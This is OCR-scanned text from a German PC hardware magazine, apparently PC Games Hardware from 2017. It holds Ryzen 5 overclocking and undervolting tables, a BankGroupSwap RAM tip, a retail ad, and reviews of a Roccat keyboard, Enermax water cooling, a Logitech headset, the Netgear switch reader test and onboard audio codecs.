Übertaktersicht spricht damit we- 
nig für den 1500X, zumal der Ryzen 
5 1600 lediglich 30 Euro mehr kos- 
tet (Stand 20.04.) und ein ähnliches 
OC-Verhalten bieten dürfte, dafür 
aber sechs statt vier Kerne hat. 


Ryzen 5 1600X: Übertaktet noch bes- 
ser. Die CPU wird vom Mainboard 


Ryzen 5 1500X: Spannungsskalierung von 1,10 bis 1,50 Volt 


* BIOS-Option „Core Performance Boost" deaktiviert ** BIOS-Option „Core Performance Boost" auf , Auto" 


Kernspannung (UEFI-Menü) Auto Auto 1,00 Volt 1,10 Volt 1,20 Volt 1,30 Volt 1,40 Volt 1,50 Volt 
(ca. 1,20 Volt)* | (ca. 1,24 Volt)** 
Max. Kerntakt (Cinebench R15) 3.500 MHz | 3.600MHz | 3.350MHz | 3.600MHz | 3.800MHz | 3.900MHz | 4.000MHz | 4.050 MHz 
(kein OC) (Auto-OC) 

Leistungsaufnahme (Leerlauf) 44 Watt 44 Watt 51 Wa 52 Watt 53 Watt 54 Watt 57 Watt 62 Watt 
Leistungsaufnahme (Cinebench R15) 97 Watt 103 Watt 81 Wa 90 Watt 100 Wat 112 Watt 127 Watt 145 Watt 
Differenz zwischen Cinebench R15 und Leerlauf 53 Watt 59 Watt 30 Wa 38 Watt 47 Watt 58 Watt 70 Watt 83 Watt 
Punkte in Cinebench R15 794 Punkte 816 Punkte 758 Punkte 816 Punkte 854 Punkte 873 Punkte 898 Punkte 906 Punkte 
Punkte pro Watt 8,19 7,92 9,36 9,07 8,54 7,79 7,07 6,25 
System: Asus Crosshair VI Hero (UEFI 0079), 2 x 8 GiB DDR4-2400 (14-14-14-34 2T), Noctua NH-U12 ЅЕ-АМА @ 1.500 U/min, MSI GTX 1080 Gaming X 8G, OCZ VX500; Win 10 64 Bit 


Ryzen 5 1600X: Spannungsskalierung von 1,10 bis 1,50 Volt 


* BIOS-Option „Core Performance Boost" deaktiviert ** BIOS-Option „Core Performance Boost" auf , Auto" 


Kernspannung (UEFI-Menü) Auto Auto 1,00 Volt 1,10 Volt 1,20 Volt 1,30 Volt 1,40 Volt 1,50 Volt 
(ca. 1,20 Volt)* | (ca. 1,24 Volt)** 

Max. Kerntakt (Cinebench R15) 3.600 MHz 3.700 MHz 3.200 MHz 3.650 MHz 3.800 MHz 3.950 MHz 4.050 MHz 4.100 MHz 

(kein OC) (Auto-OC) 

Leistungsaufnahme (Leerlauf) 45 Watt 45 Watt 52 Watt 55 Watt 55 Watt 57 Watt 61 Watt 68 Watt 

Leistungsaufnahme (Cinebench R15) 121 Watt 131 Watt 92 Watt 109 Watt 124 Watt 142 Watt 165 Watt 191 Watt 

Differenz zwischen Cinebench R15 und Leerlauf 76 Watt 86 Watt 40 Watt 54 Watt 69 Watt 85 Watt 104 Watt 123 Watt 

Punkte in Cinebench R15 1.203 Punkte | 1.234 Punkte | 1.080 Punkte | 1.219 Punkte | 1.266 Punkte | 1.312 Punkte | 1.346 Punkte | 1.364 Punkte 

Punkte pro Watt 9,94 9,42 11,74 11,18 10,21 9,24 8,16 7,14 

System: Asus Crosshair VI Hero (UEFI 0079), 2 x 8 GiB DDR4-2400 (14-14-14-34 2T), Noctua NH-U12 ЅЕ-АМА @ 1.500 U/min, MSI GTX 1080 Gaming X 8G, OCZ VX500; Win 10 64 Bit 
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lassen sich aber auch mit älteren Modulen mit Samsung. Chips (B-Die) erzielen. 


automatisch mit der gleichen Span- 
nung wie der 1500X versorgt, weist 
dank zwei zusätzlicher Kerne und 
100 MHz mehr Takt aber die deut- 
lich bessere Energieeffizienz auf, 
die im Bereich der Ryzen-7-Achtker- 
ner liegt. Starkes Undervolting ist 
nur bedingt empfehlenswert, denn 
bei 1,00 Volt ist eine Taktreduktion 
auf 3,2 GHz erforderlich. Wie beim 
1500X ist für alltagstaugliches Tu- 
ning der Spannungsbereich von 
1,20 bis 1,30 Volt besonders inte- 
ressant. Mit mehr Spannung steigt 
vor allem die Leistungsaufnahme, 
nicht das Overclocking-Potenzial. 


Der 1600X weist nicht nur ähn- 
liche OC-Eigenschaften wie die 
Achtkerner 1800X und 1700X auf, 
sondern teilt sich eine wohl an die 
TDP-Klasse von 95 Watt gekoppelte 
Eigenschaft: Ein Temperatur-Offset 
von 20 Kelvin suggeriert hóhere 
Temperaturen, die im BIOS, aber 
auch von Monitor-Tools ausgelesen 
werden. Falls Sie nicht sicher sind, 
ob die eingesetzte Software passen- 
de Werte liefert, sind die Leerlauf- 
temperaturen ein guter Anhalts- 
punkt: Werte um oder über 50 °C 
werden im Normalfall durch den 
pauschalen Temperaturaufschlag 
verursacht. Wie heiß wird der Chip 
in der Praxis? Bei 3,9 GHz und 1,30 
Volt erreichen wir mit dem links 
abgebildeten Noctua-Kühler (aller- 
dings bei 2.000 U/min) nach ei- 
ner Stunde Prime95 (1344K) eine 
Kerntemperatur von 61,5 °C (mit 
Offset 81,5 °C). Bei 1,40 Volt erhóht 
sich der Wert auf 69,9 *C (mit Off- 
set 89,9 *C). 
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Tipp für Single-Rank-RAM 
AMD spezifiziert für Single-Rank- 
Riegel hóhere Taktraten als bei der 
gleichen Anzahl von Dual-Rank- 
Modulen. Die im Zusammenspiel 
mit Ryzen-Prozessoren pflegeleich- 
teren Module liefern allerdings in 
der Praxis eine geringere Leistung, 
benötigen also auch einen höhe- 
ren Takt für eine vergleichbare 
Geschwindigkeit. Diese Schwäche 
von Single-Rank-RAM lässt sich 
allerdings etwas verkleinern: Für 
Besitzer von Single-Rank-RAM ist 
die Option „BankGroupSwap“ 
einen Blick wert, die sich tief im 
UEFI-Menü des Crosshair VI Hero 
unter „Advanced\AMD CBS\UMC 
Common Options\DRAM Memory 
Mapping“ verbirgt. 


Die Voreinstellung lautet „Auto“, 
doch das Umstellen auf „Disabled“ 
lohnt sich: Während Aida64 eine 
Verschlechterung signalisiert, 
sprechen praxisnahe Benchmarks 
gut auf die durchgeführte Ände- 
rung an: Das Komprimieren und 
Verschlüsseln unseres rund 3 GB 
großen Archivs nimmt 12 Sekun- 
den weniger Zeit in Anspruch, was 
einer Verkürzung um 5 Prozent 
entspricht. Auch der Hexer Geralt 
läuft etwas flotter durch die Lande: 
Die Framerate in The Witcher 3 er- 
höht sich von 110,0 auf 113,6 Fps 
- ein Plus von immerhin 3 Prozent. 
Wie gewohnt verpufft der RAM- 
Effekt im GPU-Limit. Die rechts ab- 
gebildeten Benchmarks haben wir 
mit den G.Skill-Kits Е4-3200С14р- 
16GFX und F4-3200C16D-16GTZ 
durchgeführt. (sw) 


x UEFI BIOS Utility – Adv 
"11:299 


Main 


Engish 


My Favorites Extreme Tweaker G Hardware Monitor 


€ Advanced\AMD CBSNUMC Common OptionsADRAM Memory Mapping 


Chipselect Interleaving 


As 


Swap Auto 


Enabled 
ish Bank 


Address Hash CS 


2400 M 


16384 ма 


No help string 


Last Modified 


e 2.17.1245, Copyrigh 17 American Megatrends, Inc 


Das Deaktivieren der Option , BankGroupSwap" bringt beim Einsatz von Single-Rank- 
Speicher ein kleines Leistungsplus im Alltag — siehe Benchmarks unten. 


Aida 64 (Kopierrate) 


3.700 MHz Kerntakt, v5.80.4093 (Bench-DLL 4.3.718-x64) 


DDR4-3200/CL14, SR, BGS Auto [Ew 43,3 (+22 %) 
DDR4-3200/CL14, SR, BGS aus | 40,4 (+14 96) 

DDR4-2400/CL14, DR, BGS Auto == 35,4 (Basis) 

DDR4-2400/CL14, SR, BGS Auto E 34,6 (-2 96) 
DDR4-2400/CL14, SR, BGS aus E 31,9 (-10 96) 


System: Ryzen 5 1600X, Asus Crosshair VI Hero (BIOS 0079), 2 x 8 GiB (14-14-14-34), 
MSI GTX 1080 Gaming 6G, OCZ VX500 1TB; Win 10 64 Bit, Geforce 378.78 WHQL (HQ) 
Bemerkungen: SR = single-ranked, DR = dual-ranked, BGS = , BankGroupSwap"-Option 


GB/s 
» Besser 


7-Zip: Ca. 3 GB komprimieren und verschlüsseln 


3.700 MHz Kerntakt, LZMA2-Kompression (Stárke: Ultra), AES256-verschlüsselt 


DDR4-3200/CL14, SR, BGS aus E 226 (-6 96) 
DDR4-3200/CL14, SR, BGS Auto [X 238 (-1 96) 
DDR4-2400/CL14, DR, BGS Auto [ew 240 (Basis) 

DDR4-2400/CL14, SR, BGS aus E 249 (+4 96) 
DDR4-2400/CL14, SR, BGS Auto == 259 (+8 96) 


System: Ryzen 5 1600X, Asus Crosshair VI Hero (BIOS 0079), 2 x 8 GiB (14-14-14-34), 
MSI GTX 1080 Gaming 6G, OCZ VX500 1TB; Win 10 64 Bit, Geforce 378.78 WHQL (HQ) 
Bemerkungen: SR = single-ranked, DR = dual-ranked, BGS = , BankGroupSwap"-Option 


Sekunden 
< Besser 


The Witcher 3: Wild Hunt 


3.700 MHz Kerntakt, 1.280 x 720, max. Details, kein Post-Processing 


DDR4-3200/CL14, SR, BGS aus 113,6 («9 96) 
DDR4-3200/CL14, SR, BGS Auto [oen 110,0 (+5 96) 
DDR4-2400/CL14, DR, BGS Auto Xi Ei 104,6 (Basis) 

DDR4-2400/CL14, SR, BGS aus Egg 102,2 (-2 96) 
DDR4-2400/CL14, SR, BGS Auto == 100,7 (-4 9) 

3.700 MHz Kerntakt, 3.840 x 2.160, max. Details, kein Post-Processing 


DDR4-3200/CL14, SR, BGS aus gat 65,7 (+0 96) 
DDR4-2400/CL14, DR, BGS Auto went" 65,7 (Basis) 
DDR4-2400/CL14, SR, BGS aus eth 65,5 (-0 96) 
DDR4-2400/CL14, SR, BGS Auto Exit 65,4 (-0 96) 
DDR4-3200/CL14, SR, BGS Auto LBE 65,4 (-0 96) 


System: Ryzen 5 1600X, Asus Crosshair VI Hero (BIOS 0079), 2 x 8 GiB (14-14-14-34), 
MSI GTX 1080 Gaming 6G, OCZ VX500 1TB; Win 10 64 Bit, Geforce 378.78 WHQL (HQ) 
Bemerkungen: SR = single-ranked, DR = dual-ranked, BGS = , BankGroupSwap"-Option 


Mimil Ø Fps 


» Besser 
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Hardware PC, Notebook & Tablet 


ALTERNATE empfiehlt Windows Geräte 


rM N e d т H A H DWAR F 


wi Ze 
AUDIO TV FOTO 


ALTERNATE Jubiläums PC Rev. 2 


Der ALTERNATE JUBILÄUMS-PC Rev.2 МУТОН kommt mit einem Intel® Core™ i7-7700K 
Prozessor (4,2 GHz) Prozessor und 16 GB DDR4-Arbeitsspeicher. Die NVIDIA GeForce GTX 
1070-Grafikkarte sowie der Gigabit-Anschluss ermöglichen einen vielseitigen Einsatz. Die wei- 
tere Ausstattung mit einem DVD-Brenner, einer 275-GB-SSD sowie einer 2-TB-SATA-Festplatte, 
Sound und dem Microsoft-Betriebssystem Windows 10 Home 64-Bit lässt beim ALTERNATE 
JUBILÄUMS-PC Rev.2 W10H kaum Wünsche offen. 


Um die aktuellen PC-Spiele mit nur einem Klick, optimiert und in Ihrer vollen Pracht genießen 
zu können, haben wir für Dich NVIDIA GeForce Experience vorinstalliert. Teile Deine 
schönsten Gaming-Momente. 


NONEM 


SERVICE 


ALTERNATE GmbH | Philipp-Reis-Straße 2-3 | 35440 Linden | Fon: 


д AUDIO SPIELZEUG 


e 

T ` d AUDIO rv c... 
| #1 ELEFONIE EEN 
„HARDWARE: M NOTEBOOK 


IAROWARE: 


BETERNgTE 
„Jubiläums PC 


Windows 10 


VIDIA 


GEFORCE AG 
1.82% 1.499, 


» Windows 10 Home 64-Bit (OEM) 

+ Intel® Core™ i7-7700K Prozessor (4,2 GHz) 
* NVIDIA GeForce GTX 1070 

* 16 GB DDR4-RAM 

* 275-GB-SSD, 2000-GB-HDD 

+ DVD-Brenner | Gigabit-LAN 


S7IXBL 


06403-905040 | info@alternate.de 


Hardware 


Sockel-AM4-Prozessor « Summit Ridge 
6 Kerne • 3,20 GHz Basistakt 

3,60 GHz max. Turbo 

16 MB L3-Cache 

Boxed-Version 


HRSAOS 


GIGABYTE" 


Grafikkarte « NVIDIA GeForce GTX 1080 Ti 

1594 MHz Chiptakt (Boost: 1708 MHz) 

11 GB GDDR5X-RAM (11,0 GHz) 

DirectX 12 und OpenGL 4.5 

3x DisplayPort, 1x HDMI, 1x DVI » PCle 3.0 x16 
JHXY0C03 


KE Make It Yours. 


GEFORCE 


Midi-Tower » Einbauschächte extern: 2x 5,25" 
Einbauscháchte intern: 5x 3,5"/2,5", 2x 2,5" 
inkl. drei Lüfter • Front: 2x USB 3.0, 2x Audio 
NVIDIA® Edition • Window Kit 


TQXM5005 


PC, Notebook & Tablet 


Bestellhotline: Mo-Fr 8-19 Uhr, Sa 9-14 Uhr 06403 = 90 50 40 


ATX-Mainboard » Sockel AM4 
AMD X370 Chipsatz 
CPU-abhängiger Grafikchip • Gigabit-LAN 
USB 3.1 • 8 Kanal-HD-Sound 


4x DDR4-RAM e 8x SATA 6Gb/s • 1x M.2 


2x PCle 3.0 x16, 1x PCle 2.0 x16, 3x PCle 2.0 x1 
GREARO 


43,9 cm (17,3")  HD4-SVA-Display 
WLED-Hintergrundbeleuchtung(1600 x 900) 
Intel® Core™ i5-7200U Prozessor (2,50 GHz) 

8 GB DDR4-RAM • 256 GB SSD M.2 

Intel® HD Graphics 620 » USB 3.0, Bluetooth 4.0 


Windows? 10 Home 64 (OEM) 
PL8H3E 


be 


Midi-Tower » Einbauschächte extern: 2x 5,25" 

Einbauscháchte intern: 3x 2,5"/3,5", 2x 2,5" 

inkl. zwei Lüfter » Front: 2x USB 3.0, 2x Audio 

Window-Kit • für Mainboard bis ATX-Bauform 
TQXV2029 


Curved-LED-Monitor 

69 cm (27") Bilddiagonale • 1.920x1.080 Pixel 
4 ms Reaktionszeit • Kontrast: 3.000:1 

144 Hz Bildwiederholungsrate 

1x HDMI, 1x DisplayPort, USB 3.0 Hub 


V6LJ01 


Gaming-Tastatur « Cherry MX Brown » 87 Tasten 
RGB-LED-Beleuchtung mit 16,8 Mio. Farben 
Software zur Programmierung von 
Einstellungen und Makros • USB 

NTZH96 


Abgabe nur in haushaltsüblichen Mengen und solange Vorrat reicht. Irrtümer und Druckfehler vorbehalten. 
Alle Preise in Euro inkl. MwSt. und zuzüglich Versandkosten. Angebote gültig bis zum 17.05.2017 


MASTERWATT 
MAKER 


PC-Netzteil 
29x Laufwerksanschlüsse • 12x PCle-Stromanschlüsse • Kabel-Management 
1x 135-mm-Lüfter « ATX 2.03, ATX12V 2.0, EPS, ATX12V 2.4 


TNAMO6 


w 
Midi-Tower 

Einbauschächte intern: 3x 3,5", 3x 2,5" 

inkl. zwei Lüfter • Front: 2x USB 3.0, 2x Audio 
Window-Kit » für Mainboard bis ATX-Bauform 


ТОХ415 


devoLo 


= devoro 


Pow 


“ 


119,- < 


Power AN - 1200 MBit/s PowerLAN 
1x 10/100/1000 MBit/s LAN (RJ-45) 
LEDs: Multi-LED 

Kit mit zwei Adaptern 


LP#E29 


h ALT 


JAHRE 


1.200 Watt Dauerleistung » Effizienz bis zu 94% 


PC-Netzteil » 650 Watt Dauerleistung 
10x Laufwerksanschlüsse 

4x PCle-Stromanschlüsse 
Kabel-Management • 1х 135-mm-Lüfter 
ATX 2.03, EPS, ATX12V 2.3 


TN6E94 


Spielstuhl « 4D-Armlehnen 
extra hohe Rückenlehne 
individuell einstellbar 


NJZDWC 


bequem online 


Infrastruktur 


Boards, RAM, Eingabeger 


te, Festplatten, SSDs, Netzt 


Frank Stöwer 
Fachbereich Peripherie 
E-Mail: fs@pcgh.de 


Kommentar 


Roccat Force FX: Wie drucksensitive Tasten 
den PCGH-Tastaturpapst beeindrucken 


Als Кеубоага-Теѕїег und selbst ernannter 
PCGH-Tastaturpapst habe ich schon einige tech- 
nische Innovationen im wahrsten Sinne des Wortes 
unter die Finger bekommen. Egal ob austausch- 
bare mechanische Tastenschalter, Mecha-Mem- 
brane-Switches oder Schalter, die optisch auslösen, 
jede technische Innovation der Peripheriehersteller 
landet früher oder später auf meinen Schreibtisch 
und wird von mir im Rahmen eines Tests auch im- 
mer ausprobiert. Mit Roccats neuer Force-FX-Tech- 
nik machte ich bei einem Online-Test der Isku+ 
Force FX Bekanntschaft (siehe: goo.gl/qCbsQB). 
ch gebe zu, dass ich anfänglich wirklich gezweifelt 
habe, ob die drucksensitiven Gummidom-Tasten 
wirklich eine analoge Spielsteuerung ähnlich dem 
humbstick eines Controllers ermóglichen kónnen. 
Die Technik hinter Force FX ist eine Schicht aus po- 
ymerpiezoelektrischem Kompositmaterial unter- 
halb des Gummidoms, die auf die Druckkraft bei 
astenbetätigung reagiert. Das soll eine präzisere 
Spielsteuerung ermöglichen, die beispielsweise 
zur Fahrzeugsteuerung oder für die verschiedenen 
Bewegungsphasen (Schleichen/Gehen/Laufen) des 
Pixelsoldaten in Shootern genutzt werden kann. 
Und das Tolle ist, das Ganze funktioniert wirklich, 
und das auch noch sehr gut — wenn man einmal 
alles richtig eingerichtet hat. Ich muss sagen, ich 
bin nach meinem Test mit Battlefield 1 begeistert 
und stelle fest, dass Roccat hier wirklich ein inte- 
ressantes und nützliches Gamer-Feature auf den 
Markt gebracht hat. Glückwunsch Roccat! 


Notebooks 
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Ausprobiert: Enermax Шатах II 1205 


Im kleinen Mini-ITX-Gehäuse tut sich ein Luftkühler 
schwer, die CPU optimal und leise zu kühlen. Lohnt 
sich der Wechsel auf eine Kompaktwasserkühlung? 


ei der Marktübersicht Micro-ATX-/Mini-ITX- 

Gehäuse in der Ausgabe 05/17 stellten wir 
fest, dass es in Micro-ITX-Gehàusen aufgrund 
des geringen Innenraumvolumens von 20 Litern 
oder weniger zu Kühlungsproblemen kommen 
kann. Oft schaffen es die mitgelieferten Gehäuse- 
lüfter nicht, das Innere mit ausreichend Frisch- 
luft zu versorgen, und der CPU-Kühler stößt an 
seine thermischen Grenzen. Zusätzlich wird 
auch der Chip der Grafikkarte so warm, dass 
diese die Lüfterdrehzahl erhöht und den Takt 
senkt. Zusammen mit den schneller rotierenden 
Gehäuselüftern sorgt das für eine hohe Lautheit. 


Dieses Szenario beobachteten wir beim Ener- 
max Steelwing: Die CPU (Ci7-6700K) wird 76 °C 
warm, die GPU-Temperatur der Gigabyte Geforce 
GTX 1070 Mini ITX OC kletterte auf 80 °C und die 
Lüfterdrehzahl stieg auf 2.599 U/min. Zusammen 
mit der hohen Drehzahl des 120-mm-Frontlüfters 
sorgte das für eine Lautheit von 3,5/3,5 Sone. 
Enermax hat darauf reagiert und uns eine Kom- 
paktwasserkühlung zur Verfügung gestellt. Mit 
der überprüfen wir, ob sich die Temperatur- und 
Lautheitsentwicklung beim Wakü-Einsatz mess- 
bar verändert. Wie die Tabelle unten zeigt, fallen 
die Unterschiede nur geringfügig aus, die GPU 
drosselt sogar ihren Takt. Im Gegenzug fällt die 
Lautheit auf 2,8/2,7 Sone, weil der jetzt für die 
Kühlung des Radiators verantwortliche Frontlüf- 
ter leiser arbeitet als bei der Luftkühlung. (fs) 


Gehäuse und Kühlmethode 


Enermax Steelwing mit 
Luftkühlung (Thermalright AXP-100) 


Enermax Steelwing 
mit Enermax Liqmax Il 120$ 


Temperatur CPU 76 °C АС 

Temperatur СРО (Lüfterdrehzahl/Takt) 80 °C (2.399 U/min/1810 MHz) 81 °C (2.460 U/min/1759 MHz) | 
Temperatur Innenraum Gehàuse/M.2-SSD 40 °С/60 °C 38 °C/62 °C | 
Lautheit der Lüfter, 50 cm Abstand frontal/ 3,5/3,5 Sone BEE 


schràg vorne (45-Grad-Winkel) 


LEISTUNGSNOTE 
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Logitech G533 Wireless 


Mit dem Logitech G533 Wireless erweitert der 
Hersteller das Angebot um ein gut klingendes, 
kabelloses Headset zum fairen Preis. 


abel nerven, darüber muss wohl nicht groß 

diskutiert werden. Für Audio-Fans der unge- 
bundenen Freiheit bietet Logitech mit dem G533 
Wireless ein neues Funk-Headset an. Die Verbin- 
dung mit dem PC erfolgt per USB-Funk-Dongle, 
die maximale Reichweite beziffert Logitech mit 
15 Metern, was unseren Tests zufolge realistisch 
ist. Allerdings stören Wände oder ausladende 
Möbelstücke die Verbindung. Insbesondere das 
Mikrofon ist offenbar etwas anfällig. Beim länger- 
fristigen Testen in den heimischen Wänden be- 
merkten wir hin und wieder Störungen im Chat, 
die offenbar durch ein Regal zwischen Sender und 
Empfänger ausgelöst wurden. Beim Spielen in un- 
mittelbarer Nähe des Funk-Dongels traten wäh- 
rend des Testens dagegen keine Stórungen auf. 
Generell funktioniert die Funkverbindung je- 
doch sehr gut und lässt auch kleine Spaziergänge 


ohne Signalverlust zu. Den nötigen Strom zieht 
das Headset aus einem 1100 mA-Akku, der laut 
Herstellerangabe bei halber Lautstärke Leis- 
tung für 15 Stunden liefert. Auch Letzteres 
ist gemäß unseren Tests realistisch. Das 
Headset lässt sich mittels des beiliegen- 
den USB-Kabels laden, gleichzeitiges 
Spielen ist möglich. 


Der Lautstärkeregler ist direkt am 
linken Hörer angebracht, das Mi- 
krofon kann durch Hochklappen 
deaktiviert werden. 
klappt auch mit der am Gerät an- 


Letzteres 


gebrachten, programmierbaren 
G-Taste, welche Sie in der Logitech 
Gaming Software jedoch auch mit ei- 
ner anderen Funktion belegen können. 
Über diese Software lassen sich zudem 
der Akkustand und die restliche Laufzeit 
ablesen, die Abschaltautomatik konfigu- 
rieren oder sechs verschiedene Klang- 
Profile aktivieren. Oder Sie nutzen den 
guten 10-Band-Equalizer, um den Klang 
nach Ihren Wünschen zu individuali- 
sieren. Es stehen außerdem Regler für Lautstär- 
ke, Mikrofon, Bass und Höhen zur Verfügung. 
Weiterhin kann mit einem weiteren Schieber 
die Stärke des optional zuschaltbaren, virtuellen 
7.1-Surround-Sounds via DTS Headphone X defi- 
niert werden. Dieser hinterlässt in Spielen einen 
sehr guten, räumlichen Eindruck. Das trifft auch 
generell für den Sound zu, das Logitech G533 
klingt kräftig und voll und leistet sich keine grö- 
Beren Schwächen. Für wirklich anspruchsvollen 
Musikgenuss fehlen jedoch etwas Präzision und 
Detailtreue. (pr) 


PREIS-LEISTUNGS-TIPP 


Logitech 
6533 Wireless 


Hardware 


ech G533 Wireless 


Fazit: Das G533 Wireless ist ein faires Angebot für ein gut 
klingendes Headset und die kabellose Verbindung macht 
das G533 nochmals attraktiver. Das Mikrofon verursachte 
während des Tests allerdings hin und wieder Störgeräusche. 


Hersteller: Logitech 
Web: www.logitech.com/de-de 
Preis: Ca. € 110,- | Preis-Leistung: Gut 


© Kab t gut eich Ausstattung 1,87 
© Gut а Eigenschaften | 1,70 
© Seli Leistung 1,96 
PCGH-Preisvergleich www.pcgh.de/preis/1558931 


WERTUNG 


Lesertest: 5 Exemplare des Netgear Nighthawk S8000 


Sie interessieren sich für einen leistungsfähigen 
Switch für Gaming & Streaming? Dann bewerben 
Sie sich für den Lesertest des Nighthawk S8000. 


abei handelt es sich um einen Switch des 

Herstellers Netgear mit acht Gigabit-Ports. 
Eine Buchse dient als Uplink und ermóglicht 
den Internetzugriff über den Router. Über die 
weiteren sieben Ports kónnen nicht nur PCs, 
sondern auch andere netzwerkfähige Geräte 
wie zum Beispiel Spielkonsolen, Smart-TVs und 
NAS-Systeme verbunden werden. Die Konfigura- 
tion des Nighthawk S8000 erfolgt mittels Web- 
GUI über den Browser, die Oberfläche ist für 
den Zugriff über Mobilgeräte vorbereitet. Dort 
haben Sie Zugriff auf das Passwort-Management, 
können beispielsweise die Firmware aktualisie- 
ren oder rasch zwischen unterschiedlichen Vor- 
einstellungen für Gaming oder Streaming wäh- 
len. Dazu ist der Wechsel zwischen zwei selbst 


www.pcgameshardware.de 


festgelegten Konfigurationen möglich. Der 
Netzwerkverkehr lässt sich in drei Stufen priori- 
sieren, der Datendurchsatz pro Port begrenzen. 


Netgear stellt für einen einzelnen Gigabit-An- 
schluss eine Transferrate von 119 MB/s in Aus- 


sicht. Falls Ihnen das noch nicht reicht, lässt sich 
mittels der Kanalbündelungstechnik Netgear 
Link Aggregation ein Datendurchsatz von über 
470 MB/s erzielen, um beispielsweise das Durch- 
führen von Backups zu beschleunigen. Die ma- 
ximale Leistungsaufnahme liegt bei 3,8 Watt, die 
Hardware ist für bis zu 40 °C Umgebungstempe- 
ratur und 90 % Luftfeuchtigkeit ausgelegt. 


Insgesamt stehen fünf Exemplare des Netgear 
Nighthawk S8000 für den Lesertest zur Ver- 
fügung. Die Bewerbungsphase beginnt am 
3. Mai und endet am 14. Mai um 23:59 Uhr. 
Für die Bewerbung benötigen Sie einen kos- 
im PC-Games-Hardware- 
veröffentlichen die 


tenlosen Account 
Extreme-Forum. Dort 
Lesertester auch ihre Ergebnisse nach Ablauf 
der rund vierwöchigen Testphase. Mehr In- 
formationen erhalten Sie ab dem 3. Mai unter: 
www.pcgh.de/nighthawk-lesertest (sw) 
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INFRASTRUKTUR | Neue Generation Onboard-Sound 


Eine typische Audiosektion ohne größere 
Extras: Unter dem EMI-Shield verbirgt sich der 
тече auf diesem Board wurden als 

eines Schmankerl Nichicon-Gold-Kondensa- 


- 


toren verbaut, zudem sind die klangrelevafiten 


"eile vom Rest des Mainboards abgetrennt, um 


“2 


EN Stórimpulse zu'hinimieren. 


Bessere Schallplatten? 


Aktuelle Mainboards werden zu weiten Teilen mit dem neuen Realtek-Codec ALC 1220 bestückt. Wir 


fühlen einigen Hauptplatinen auf den Zahn und zeigen auf, weshalb das Drumherum wichtig ist. 


eit einiger Zeit wird auf Main- 

boards der Realtek ALC 1220 
verbaut. 
neuen Onboard-Sound sind indes 
rar, selbst die offizielle Realtek- 
Seite (www.realtek.com) schweigt 
sich bislang aus. Zudem sind Nut- 
zererfahrungen bislang recht dünn 
gesät, der Codec ist schließlich 
noch nicht lange auf dem Markt. 
Also haben wir es uns zur Aufga- 
be gemacht, das Thema ein wenig 
zu beleuchten - was sich etwas 
schwierig gestaltet, denn zumeist 
wird neben dem Codec auch noch 
eine Vielzahl weiterer klangrele- 
vanter Komponenten auf der Audi- 
osektion der Mainboards verbaut. 
Diese bewirken, dass sich praktisch 
jedes Board klanglich von dem 
nächsten unterscheidet. Wir haben 


Informationen zu dem 
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trotzdem einen Vergleich gewagt 
und uns dazu eine Reihe Hauptpla- 
tinen geschnappt. Darunter sind 
mit dem Gigabyte AM350-Gaming 
3 und dem Asrock AB350M Pro 4 
zwei Exemplare, die wir in unserer 
aktuellen AM4-Marktübersicht (ab 
Seite 54) getestet haben. Das Gi- 
gabyte-Board kommt mit dem ALC 
1220 und abgesehen von einem 
EMI-Shield und einigen hochwer- 
tigen Kondensatoren ohne zusätz- 
liche klangrelevante Extras. Ähn- 
liches gilt für das Asrock, auf dem 
allerdings der deutlich betagtere 
ALC 892 verbaut ist. Diese Platinen 
können uns also dabei helfen, die 
klanglichen Unterschiede genauer 
zu untersuchen. Beide Mainboards 
stammen aus dem unteren Preis- 
segment. 


Wir ergänzen das Testfeld mit 
dem Biostar Z270 GT6 sowie dem 
Asrock Fatallty Z270 Gaming K6, 
zwei Vertreter aus der Oberklasse. 
Den Abschluss macht das Gigabyte 
Aorus Z270X Gaming 9. Dieses 
600-Euro-Mainboard verfügt mit ei- 
nem Creative Sound Core 3D sowie 
einer Vielzahl weiterer Audiokom- 
ponenten über die aktuell wohl 
bestausgebaute (und teuerste) 
Audio-Sektion. Eine solche an Crea- 
tives High-End-Soundkarte ZxR an- 
gelehnte und ZxRi getaufte Lösung 
haben wir schon einmal unter die 
Lupe genommen (siehe „Onboard 
vs. Zusatzkarte", PCGH-Ausgabe 
12/2015). Das so untersuchte Giga- 
byte Z170X Gaming G1 überzeugte 
uns damals mit einer sehr guten 
Klangqualität, wenngleich diese 


nicht ganz an die namensgebende 
High-End-Soundkarte herankam. 


Subjektiv, dann objektiv 

Diese fünf unterschiedlichen Au- 
diolösungen wollen wir uns also 
einmal genauer anhören. Dazu bau- 
en wirjeweils ein Testsystem auf Ba- 
sis des jeweiligen Boards auf, instal- 
lieren die aktuellen Sound-Treiber 
und machen dann die subjektive 
Hörprobe mit drei unterschiedli- 
chen Headsets beziehungsweise ei- 
nem Kopfhörer. Den Anfang macht 
das gut klingende, jedoch nicht all- 
zu schwer anzutreibende Creative 
Sound Blaster X H5. Darauf folgt 
das High-End-Headset MMX 300 
Gen. 2 von Beyerdynamic, welches 
wie das H5 einen Widerstand von 
32 Ohm leistet, jedoch ein wenig 
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mehr Leistung benötigt und zudem 
mit einem hochauflösenden, sehr 
detaillierten Klang bietet. Als Letz- 
tes müssen sich die verschiedenen 
Audiosektionen dem Sennheiser 
HD 560 Ovation 2 stellen. Dieser 
Hi-Fi-Kopfhórer war ab 1990 das 
Topmodell des Herstellers und ist 
recht schwierig anzutreiben, der 
Widerstand beträgt 300 Ohm bei 
1 KHz. Doch damit nicht genug, 
denn dieser Widerstand verläuft 
nicht linear, sondern steigt bei tie- 
feren Frequenzen auf knapp 400 
Ohm an. Liefert eine Audioquelle 
nicht ausreichend Leistung, klingt 
der HD 560 harsch und blechern. 
Außerdem klingt er außerordent- 
lich feingeistig und deckt eventu- 
elle Schwachstellen gnadenlos auf. 


Beim Testen vergleichen wir den 
Klang der einzelnen Onboard-Lö- 
sungen mit dem einer Asus Xonar 
Essence STX 2, einer der besten und 
leistungsfähigsten Stereo-Soundkar- 
ten, die uns als Referenz dient. Doch 
damit nicht genug: Um neben dem 
subjektiven Klangeindruck auch 
noch ein objektives Bild zu liefern, 
nutzen wir die Software Rightmark 
Audio Analyzer - diese analysiert 
unter anderem Frequenzverlauf, 
Hintergrundrauschen, Rauschab- 
stand und die Dynamik der einzel- 
nen Sound-Quellen. Diese geben 
jedoch nur begrenzt Auskunft über 
den tatsächlich wahrgenommenen 
Klang und wären als einzelne Wer- 
tungskritik nicht aussagekräftig 
- daher unsere Doppelstrategie. 
Die Bit- und Abtastrate während 
des Tests beträgt 16 Bit / 48 KHz 
(DVD-Qualität), das Maximum, was 
der kleinste gemeinsame Nenner, 
